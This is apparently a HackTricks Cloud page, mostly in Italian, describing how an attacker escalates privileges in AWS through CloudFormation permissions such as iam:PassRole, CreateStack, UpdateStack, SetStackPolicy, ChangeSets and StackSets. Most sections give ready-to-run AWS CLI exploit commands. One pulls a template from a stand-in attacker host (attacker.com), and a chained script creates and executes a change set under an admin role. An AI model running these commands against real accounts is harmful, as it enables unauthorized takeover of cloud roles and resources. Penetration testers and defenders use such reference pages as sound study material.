AWS - Cloudformation Privesc

Impara e pratica Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE) Impara e pratica Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Supporta HackTricks

• Controlla i piani di abbonamento!

• Unisciti al 💬 gruppo Discord o al gruppo telegram o seguici su Twitter 🐦 @hacktricks_live.

• Condividi trucchi di hacking inviando PR ai HackTricks e HackTricks Cloud repos su github.

cloudformation

Per ulteriori informazioni su cloudformation controlla:

AWS - CloudFormation & Codestar Enum

iam:PassRole, cloudformation:CreateStack

Un attaccante con questi permessi può elevare i privilegi creando un CloudFormation stack con un template personalizzato, ospitato sul proprio server, per eseguire azioni sotto i permessi di un ruolo specificato:

aws cloudformation create-stack --stack-name <stack-name> \
--template-url http://attacker.com/attackers.template \
--role-arn <arn-role>

In the following page you have an esempio di sfruttamento con il permesso aggiuntivo cloudformation:DescribeStacks:

iam:PassRole, cloudformation:CreateStack,and cloudformation:DescribeStacks

Impatto Potenziale: Privesc al ruolo di servizio cloudformation specificato.

iam:PassRole, (cloudformation:UpdateStack | cloudformation:SetStackPolicy)

In questo caso puoi sfruttare uno stack cloudformation esistente per aggiornarlo e aumentare i privilegi come nel scenario precedente:

aws cloudformation update-stack \
--stack-name privesc \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::91029364722:role/CloudFormationAdmin2 \
--capabilities CAPABILITY_IAM \
--region eu-west-1

Il permesso cloudformation:SetStackPolicy può essere utilizzato per darti il permesso UpdateStack su uno stack e eseguire l'attacco.

Impatto Potenziale: Privesc al ruolo di servizio cloudformation specificato.

cloudformation:UpdateStack | cloudformation:SetStackPolicy

Se hai questo permesso ma nessun iam:PassRole puoi comunque aggiornare gli stack utilizzati e abusare dei ruoli IAM che hanno già allegato. Controlla la sezione precedente per un esempio di exploit (basta non indicare alcun ruolo nell'aggiornamento).

Il permesso cloudformation:SetStackPolicy può essere utilizzato per darti il permesso UpdateStack su uno stack e eseguire l'attacco.

Impatto Potenziale: Privesc al ruolo di servizio cloudformation già allegato.

iam:PassRole,((cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Un attaccante con permessi per passare un ruolo e creare & eseguire un ChangeSet può creare/aggiornare un nuovo stack cloudformation abusando dei ruoli di servizio cloudformation proprio come con CreateStack o UpdateStack.

Il seguente exploit è una variazione del CreateStack one utilizzando i permessi ChangeSet per creare uno stack.

aws cloudformation create-change-set \
--stack-name privesc \
--change-set-name privesc \
--change-set-type CREATE \
--template-url https://privescbucket.s3.amazonaws.com/IAMCreateUserTemplate.json \
--role arn:aws:iam::947247140022:role/CloudFormationAdmin \
--capabilities CAPABILITY_IAM \
--region eu-west-1

echo "Waiting 2 mins to change the stack"
sleep 120

aws cloudformation execute-change-set \
--change-set-name privesc \
--stack-name privesc \
--region eu-west-1

echo "Waiting 2 mins to execute the stack"
sleep 120

aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1

Il permesso cloudformation:SetStackPolicy può essere utilizzato per darti i permessi ChangeSet su uno stack e eseguire l'attacco.

Impatto Potenziale: Privesc ai ruoli di servizio cloudformation.

(cloudformation:CreateChangeSet, cloudformation:ExecuteChangeSet) | cloudformation:SetStackPolicy)

Questo è simile al metodo precedente senza passare ruoli IAM, quindi puoi semplicemente sfruttare quelli già attaccati, basta modificare il parametro:

--change-set-type UPDATE

Impatto Potenziale: Privesc al ruolo di servizio cloudformation già allegato.

iam:PassRole,(cloudformation:CreateStackSet | cloudformation:UpdateStackSet)

Un attaccante potrebbe abusare di queste autorizzazioni per creare/aggiornare StackSets per abusare di ruoli cloudformation arbitrari.

Impatto Potenziale: Privesc ai ruoli di servizio cloudformation.

cloudformation:UpdateStackSet

Un attaccante potrebbe abusare di questa autorizzazione senza il permesso passRole per aggiornare StackSets per abusare dei ruoli cloudformation allegati.

Impatto Potenziale: Privesc ai ruoli cloudformation allegati.

Riferimenti

• https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/

Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE) Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks

• Check the subscription plans!

• Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.

• Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.